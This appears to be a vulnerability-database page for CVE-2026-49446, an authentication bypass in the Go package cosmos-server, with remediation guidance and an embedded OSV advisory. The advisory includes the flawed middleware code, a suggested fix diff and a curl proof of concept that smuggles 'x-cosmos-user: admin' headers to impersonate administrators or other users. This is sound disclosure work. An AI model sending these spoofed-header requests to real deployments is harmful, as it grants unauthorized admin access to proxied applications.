Vulnerabilities in pkg:golang/github.com/azukaar/cosmos-server
PACKAGECVE-2026-49446 is a MODERATE (CVSS 6.1) authentication bypass vulnerability (CWE-285: Improper Authorization) affecting Github.com/azukaar/cosmos server libraries in the Go ecosystem. The issue involves cosmos-server has an authentication bypass via forward-auth header smuggling on constellation tunnel. Remediation is available by upgrading affected packages to version 0.22.19.
pkg:golang/github.com/azukaar/cosmos-server
Vulnerability advisories affecting package pkg:golang/github.com/azukaar/cosmos-server. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-2rx5-2g7j-2659 | CVE-2026-49446 | MODERATE | Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel |
| GHSA-5fqm-cc34-fcf5 | CVE-2026-49447 | MODERATE | Cosmos-Server's constellation public-devices endpoint accepts arbitrary bearer tokens |
CVE-2026-49446 at a Glance
Security Impact
CVSS: 6.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N).
How to Fix CVE-2026-49446
To remediate this vulnerability, upgrade all affected Github.com/azukaar/cosmos server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/azukaar/cosmos-server to 0.22.19
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/azukaar/cosmos-server
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-49446, inspect your project dependencies for Github.com/azukaar/cosmos server:
inspect dependencies for github.com/azukaar/cosmos-server
Analyze the terminal output to locate any version of Github.com/azukaar/cosmos server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.22.19), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-285: Improper Authorization, where the product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. In Github.com/azukaar/cosmos server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-49446 Affected Github.com/azukaar/cosmos server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/azukaar/cosmos-server
|
Go |
< 0.22.19
|
0.22.19
|
References
Frequently Asked Questions
What is CVE-2026-49446?
Which Github.com/azukaar/cosmos server versions are affected?
What version fixes CVE-2026-49446?
Is github.com/azukaar/cosmos-server affected?
What is the CVSS score of CVE-2026-49446?
What CWE is associated with CVE-2026-49446?
How can I check Go dependencies for CVE-2026-49446?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-2rx5-2g7j-2659",
"modified" : "2026-07-28T20:44:33Z",
"published" : "2026-07-28T20:44:33Z",
"aliases" : [ "CVE-2026-49446" ],
"summary" : "Cosmos-Server has an authentication bypass via forward-auth header smuggling on Constellation tunnel",
"details" : "### Summary\n\nThe Constellation-tunnel bypass branch in `tokenMiddleware` at `src/proxy/routerGen.go:53-66` returns to the upstream handler before the request's `x-cosmos-user`, `x-cosmos-role`, `x-cosmos-user-role`, and `x-cosmos-mfa` headers are stripped at lines 68-72, and before the `AdminOnlyWithRedirect` gate at lines 109-117 runs. Any holder of a valid Constellation device API key sends `x-cosmos-user: admin` to a proxied backend; the documented forward-auth integration treats the caller as admin with no JWT cookie, password, or MFA.\n\n### Preconditions\n\n- Cosmos is deployed with Constellation enabled and at least one device enrolled.\n- Attacker holds a valid `x-cstln-auth` API key for an enrolled device.\n- Attacker reaches Cosmos over the Constellation Nebula tunnel.\n- Target proxy route has `AuthEnabled=true`; upstream trusts the `x-cosmos-user` forward-auth header.\n\n### Details\n\n```go\n// src/proxy/routerGen.go:46-122 - bypass returns before headers are reset\nfunc tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {\n return func(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n enabled := route.AuthEnabled\n adminOnly := route.AdminOnly\n\n // bypass auth if from Constellation tunnel\n if ((enabled && r.Header.Get(\"x-cosmos-user\") != \"\") || !enabled) { // attacker-set header opens the branch\n remoteAddr, _ := utils.SplitIP(r.RemoteAddr)\n isConstIP := constellation.IsConstellationIP(remoteAddr)\n isConstTokenValid := constellation.CheckConstellationToken(r) == nil\n\n if isConstIP && isConstTokenValid {\n utils.Debug(\"Bypassing auth for Constellation tunnel\")\n r.Header.Del(\"x-cstln-auth\")\n next.ServeHTTP(w, r) // forwards x-cosmos-user as set by attacker\n return\n }\n }\n\n r.Header.Del(\"x-cosmos-user\") // only runs on the fall-through path\n r.Header.Del(\"x-cosmos-role\")\n r.Header.Del(\"x-cosmos-user-role\")\n r.Header.Del(\"x-cosmos-mfa\")\n r.Header.Del(\"x-cstln-auth\")\n // ... JWT path runs here ...\n\n if enabled && adminOnly {\n if errT := AdminOnlyWithRedirect(w, r, route); errT != nil { // also skipped by bypass\n return\n }\n }\n next.ServeHTTP(w, r)\n })\n }\n}\n```\n\nThe branch was written for tunneled-cluster traffic where an upstream Cosmos instance has already authenticated the user and signed the `x-cosmos-user` header itself. The branch condition reads the header before the strip block runs at lines 68-72, so any client can open the branch by sending the header. The Constellation IP and API-key checks then gate progression, but a Constellation device holder satisfies both: the API key was issued by the admin when the device was enrolled, and the tunnel terminates with the device's Constellation IP as the TCP source. Once the branch is taken, the original `x-cosmos-user` value flows to the backend untouched, and `AdminOnlyWithRedirect` is never invoked. Backends configured per Cosmos's documented forward-auth integration (the standard pattern for \"Cosmos in front of an app that reads identity from a header\") treat the attacker's chosen string as the authenticated identity.\n\nThe Constellation network is sold as a way for an operator to invite family and friends without exposing ports. Those invited members hold device API keys but are not Cosmos administrators - the trust boundary this bug crosses is exactly the \"invited member -> admin role on a proxied app\" line.\n\n### Proof of concept\n\nEnvironment used to reproduce:\n\n- Version: `master` branch, audited 2026-05-13 (module `github.com/azukaar/cosmos-server`)\n- Deployment: `docker run azukaar/cosmos-server:latest` (or the `docker-compose.yml` from the project README)\n- Setup steps:\n 1. Complete initial setup via `/cosmos-ui/`; promote the operator account to admin.\n 2. Enable Constellation: Settings > Constellation > Create lighthouse.\n 3. Enrol a device under a non-admin user: Constellation > Devices > Create. Save the device profile and the displayed API key.\n 4. Configure one proxy route with `Host=admin-app.example`, `Mode=PROXY`, `Target=http://internal-app:port`, `AuthEnabled=true`, `AdminOnly=true`. Upstream must trust the `x-cosmos-user` header (the documented Cosmos forward-auth integration, e.g. an internal admin panel that reads identity from that header).\n 5. Attacker connects to the Nebula tunnel with the issued device profile, so the request's TCP source is the device's Constellation IP.\n\n```bash\n# 1. Variables - fill in from the steps above\nDEVICE_APIKEY=\"<APIKey shown when admin created the device>\"\nPROXY_ROUTE=\"https://admin-app.example\"\n\n# 2. Single request that bypasses Cosmos auth and asserts admin to the backend\ncurl -k \\\n -H \"x-cstln-auth: Bearer $DEVICE_APIKEY\" \\\n -H \"x-cosmos-user: admin\" \\\n -H \"x-cosmos-role: 2\" \\\n -H \"x-cosmos-user-role: 2\" \\\n -H \"x-cosmos-mfa: 0\" \\\n \"$PROXY_ROUTE/\" -i\n\n# Expected: HTTP 200 with the admin-gated backend rendering as user \"admin\".\n# No JWT cookie was sent; no admin Cosmos account is held by the caller.\n# Cosmos's debug log shows: \"Bypassing auth for Constellation tunnel\".\n```\n\nA second request demonstrates cross-user impersonation on the same backend by changing the asserted identity:\n\n```bash\ncurl -k \\\n -H \"x-cstln-auth: Bearer $DEVICE_APIKEY\" \\\n -H \"x-cosmos-user: someotheruser\" \\\n \"$PROXY_ROUTE/\" -i\n# Backend renders as \"someotheruser\"; any per-user data partitioning at the\n# backend is now under attacker control.\n```\n\n### Impact\n\n- **AuthN:** bypasses Cosmos JWT login, password, and MFA for any holder of a Constellation device key.\n- **AuthZ:** skips the per-route `AdminOnly` gate, unlocking admin-only proxied backends.\n- **Confidentiality:** caller reads every admin-only proxied app as `admin` from one curl.\n- **Integrity:** caller performs any admin-tier write the backend exposes via the forward-auth identity.\n- **Affected population:** every Cosmos deployment with Constellation enabled, at least one enrolled device, and one or more proxy routes integrated via the documented `x-cosmos-user` header.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nStrip the identity headers unconditionally at function entry so they cannot open the bypass branch, and keep the `AdminOnly` gate on the Constellation path. The branch should only fire for routes that are explicitly `AuthEnabled=false` - on auth-required routes the JWT path must always run so the proxy itself is the sole authority that writes `x-cosmos-user`.\n\n```diff\n--- a/src/proxy/routerGen.go\n+++ b/src/proxy/routerGen.go\n@@ -46,15 +46,17 @@\n func tokenMiddleware(route utils.ProxyRouteConfig) func(next http.Handler) http.Handler {\n return func(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n+ // Always strip identity headers before any decision based on them.\n+ r.Header.Del(\"x-cosmos-user\")\n+ r.Header.Del(\"x-cosmos-role\")\n+ r.Header.Del(\"x-cosmos-user-role\")\n+ r.Header.Del(\"x-cosmos-mfa\")\n+\n enabled := route.AuthEnabled\n adminOnly := route.AdminOnly\n \n- // bypass auth if from Constellation tunnel\n- if ((enabled && r.Header.Get(\"x-cosmos-user\") != \"\") || !enabled) {\n+ // Constellation bypass only applies to non-auth routes; on auth-required\n+ // routes the JWT path is the sole authority that may set x-cosmos-user.\n+ if !enabled {\n remoteAddr, _ := utils.SplitIP(r.RemoteAddr)\n isConstIP := constellation.IsConstellationIP(remoteAddr)\n isConstTokenValid := constellation.CheckConstellationToken(r) == nil\n@@ -65,12 +67,7 @@\n return\n }\n }\n-\n- r.Header.Del(\"x-cosmos-user\")\n- r.Header.Del(\"x-cosmos-role\")\n- r.Header.Del(\"x-cosmos-user-role\")\n- r.Header.Del(\"x-cosmos-mfa\")\n r.Header.Del(\"x-cstln-auth\")\n```\n\nDefence in depth: document that backends downstream of Cosmos must not accept `x-cosmos-user` over an untrusted hop. Bind the trust to a mutual TLS leg or a shared HMAC over `<x-cosmos-user, request-id, timestamp>` injected by the proxy and verified by the backend.\n\nRegression test: add a unit test against `tokenMiddleware` asserting that a request bearing `x-cosmos-user: admin` and a valid `x-cstln-auth` reaches the next handler with `r.Header.Get(\"x-cosmos-user\") == \"\"` whenever `route.AuthEnabled == true`.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/azukaar/cosmos-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.22.19"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.22.18"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/azukaar/Cosmos-Server/security/advisories/GHSA-2rx5-2g7j-2659"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/azukaar/Cosmos-Server"
}, {
"type" : "WEB",
"url" : "https://github.com/azukaar/Cosmos-Server/releases/tag/v0.22.19"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-285", "CWE-290" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-28T20:44:33Z",
"nvd_published_at" : null
}
}